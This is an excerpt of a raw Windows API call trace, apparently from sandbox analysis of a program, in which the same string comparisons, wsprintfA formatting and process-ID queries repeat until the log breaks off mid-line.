[0069.316] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcess () returned 0xffffffff [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B9CP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcess () returned 0xffffffff [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B9DP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7B9EP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] lstrlenA (lpString="just string") returned 11 [0069.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.317] GetLastError () returned 0x12 [0069.317] GetLastError () returned 0x12 [0069.317] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcess () returned 0xffffffff [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7BBAP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcess () returned 0xffffffff [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7BBBP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7BBCP") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] lstrlenA (lpString="just string") returned 11 [0069.317] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.317] GetLastError () returned 0x12 [0069.317] GetLastError () returned 0x12 [0069.317] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7BD0P") returned 7 [0069.317] SetLastError (dwErrCode=0x12) [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] GetCurrentProcessId () returned 0x81c [0069.317] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] GetCurrentProcess () returned 0xffffffff [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C33P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C34P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] GetLastError () returned 0x12 [0069.318] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcess () returned 0xffffffff [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C50P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcess () returned 0xffffffff [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C51P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C52P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7C7AP") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] lstrlenA (lpString="just string") returned 11 [0069.318] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.318] GetLastError () returned 0x12 [0069.318] GetLastError () returned 0x12 [0069.318] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7CB6P") returned 7 [0069.318] SetLastError (dwErrCode=0x12) [0069.318] GetCurrentProcessId () returned 0x81c [0069.318] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] lstrlenA (lpString="just string") returned 11 [0069.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.319] GetLastError () returned 0x12 [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] lstrlenA (lpString="just string") returned 11 [0069.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.319] GetLastError () returned 0x12 [0069.319] GetLastError () returned 0x12 [0069.319] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcess () returned 0xffffffff [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D36P") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcess () returned 0xffffffff [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D37P") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D38P") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] lstrlenA (lpString="just string") returned 11 [0069.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.319] GetLastError () returned 0x12 [0069.319] GetLastError () returned 0x12 [0069.319] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcess () returned 0xffffffff [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D68P") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcess () returned 0xffffffff [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D69P") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetLastError () returned 0x12 [0069.319] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D6AP") returned 7 [0069.319] SetLastError (dwErrCode=0x12) [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] GetCurrentProcessId () returned 0x81c [0069.319] lstrlenA (lpString="just string") returned 11 [0069.319] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.319] GetLastError () returned 0x12 [0069.319] GetLastError () returned 0x12 [0069.320] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcess () returned 0xffffffff [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D90P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcess () returned 0xffffffff [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D91P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7D92P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] lstrlenA (lpString="just string") returned 11 [0069.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.320] GetLastError () returned 0x12 [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] lstrlenA (lpString="just string") returned 11 [0069.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.320] GetLastError () returned 0x12 [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] lstrlenA (lpString="just string") returned 11 [0069.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.320] GetLastError () returned 0x12 [0069.320] GetLastError () returned 0x12 [0069.320] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcess () returned 0xffffffff [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E30P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcess () returned 0xffffffff [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E31P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetLastError () returned 0x12 [0069.320] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E32P") returned 7 [0069.320] SetLastError (dwErrCode=0x12) [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] lstrlenA (lpString="just string") returned 11 [0069.320] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.320] GetLastError () returned 0x12 [0069.320] GetCurrentProcessId () returned 0x81c [0069.320] GetCurrentProcessId () returned 0x81c [0069.321] lstrlenA (lpString="just string") returned 11 [0069.321] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.321] GetLastError () returned 0x12 [0069.321] GetLastError () returned 0x12 [0069.321] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E6EP") returned 7 [0069.321] SetLastError (dwErrCode=0x12) [0069.321] GetCurrentProcessId () returned 0x81c [0069.321] GetCurrentProcessId () returned 0x81c [0069.321] GetCurrentProcessId () returned 0x81c [0069.321] GetCurrentProcessId () returned 0x81c [0069.321] lstrlenA (lpString="just string") returned 11 [0069.321] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.321] GetLastError () returned 0x12 [0069.321] lstrlenA (lpString="just string") returned 11 [0069.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.322] GetLastError () returned 0x12 [0069.322] GetLastError () returned 0x12 [0069.322] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcess () returned 0xffffffff [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E9EP") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcess () returned 0xffffffff [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7E9FP") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7EA0P") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] lstrlenA (lpString="just string") returned 11 [0069.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.322] GetLastError () returned 0x12 [0069.322] lstrlenA (lpString="just string") returned 11 [0069.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.322] GetLastError () returned 0x12 [0069.322] GetLastError () returned 0x12 [0069.322] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcess () returned 0xffffffff [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7EF8P") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcess () returned 0xffffffff [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7EF9P") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetLastError () returned 0x12 [0069.322] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7EFAP") returned 7 [0069.322] SetLastError (dwErrCode=0x12) [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] GetCurrentProcessId () returned 0x81c [0069.322] lstrlenA (lpString="just string") returned 11 [0069.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.322] GetLastError () returned 0x12 [0069.323] GetCurrentProcess () returned 0xffffffff [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F35P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F36P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] lstrlenA (lpString="just string") returned 11 [0069.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.323] GetLastError () returned 0x12 [0069.323] GetLastError () returned 0x12 [0069.323] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcess () returned 0xffffffff [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F52P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcess () returned 0xffffffff [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F53P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F54P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] lstrlenA (lpString="just string") returned 11 [0069.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.323] GetLastError () returned 0x12 [0069.323] GetLastError () returned 0x12 [0069.323] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcess () returned 0xffffffff [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F98P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcess () returned 0xffffffff [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F99P") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetLastError () returned 0x12 [0069.323] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7F9AP") returned 7 [0069.323] SetLastError (dwErrCode=0x12) [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.323] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcess () returned 0xffffffff [0069.324] GetLastError () returned 0x12 [0069.324] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7FA3P") returned 7 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetLastError () returned 0x12 [0069.324] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7FA4P") returned 7 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetLastError () returned 0x12 [0069.324] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcess () returned 0xffffffff [0069.324] GetLastError () returned 0x12 [0069.324] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7FE8P") returned 7 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcess () returned 0xffffffff [0069.324] GetLastError () returned 0x12 [0069.324] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7FE9P") returned 7 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetLastError () returned 0x12 [0069.324] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7FEAP") returned 7 [0069.324] SetLastError (dwErrCode=0x12) [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] GetCurrentProcessId () returned 0x81c [0069.324] lstrlenA (lpString="just string") returned 11 [0069.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.324] GetLastError () returned 0x12 [0069.324] GetCurrentProcess () returned 0xffffffff [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E80C5P") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E80C6P") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.325] GetLastError () returned 0x12 [0069.325] GetLastError () returned 0x12 [0069.325] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcess () returned 0xffffffff [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E813CP") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcess () returned 0xffffffff [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E813DP") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E813EP") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.325] GetLastError () returned 0x12 [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.325] GetLastError () returned 0x12 [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.325] GetLastError () returned 0x12 [0069.325] GetCurrentProcess () returned 0xffffffff [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8179P") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetLastError () returned 0x12 [0069.325] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E817AP") returned 7 [0069.325] SetLastError (dwErrCode=0x12) [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.325] GetLastError () returned 0x12 [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] GetCurrentProcessId () returned 0x81c [0069.325] lstrlenA (lpString="just string") returned 11 [0069.325] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetLastError () returned 0x12 [0069.326] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E81C0P") returned 7 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetLastError () returned 0x12 [0069.326] GetLastError () returned 0x12 [0069.326] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcess () returned 0xffffffff [0069.326] GetLastError () returned 0x12 [0069.326] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E820EP") returned 7 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcess () returned 0xffffffff [0069.326] GetLastError () returned 0x12 [0069.326] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E820FP") returned 7 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetLastError () returned 0x12 [0069.326] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E8210P") returned 7 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetLastError () returned 0x12 [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] GetCurrentProcessId () returned 0x81c [0069.326] lstrlenA (lpString="just string") returned 11 [0069.326] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.326] GetLastError () returned 0x12 [0069.326] GetLastError () returned 0x12 [0069.326] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E829CP") returned 7 [0069.326] SetLastError (dwErrCode=0x12) [0069.326] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] GetCurrentProcessId () returned 0x81c [0069.327] lstrlenA (lpString="just string") returned 11 [0069.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] GetLastError () returned 0x12 [0069.327] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: 